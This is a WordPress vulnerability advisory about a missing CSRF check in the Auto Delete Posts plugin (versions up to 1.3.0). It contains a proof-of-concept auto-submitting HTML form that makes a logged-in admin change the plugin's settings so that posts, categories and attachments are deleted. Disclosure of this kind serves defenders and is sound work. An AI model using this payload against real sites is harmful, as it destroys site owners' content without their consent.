WordPress Plugin Vulnerabilities

Auto Delete Posts <= 1.3.0 - Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and delete specific posts, categories and attachments at once.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=auto-delete-posts.php" method="POST">
    <input type="text" name="DelPostType" value="7">
    <input type="text" name="DeleteAttachments" value="9">
    <input type="text" name="DeleteCategory[]" value="1">
    <input type="text" name="PerPostOrSite" value="5">
    <input type="text" name="PostAction" value="2">
    <input type="text" name="PostAge" value=" 1">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-15 (about 1 years ago)

Other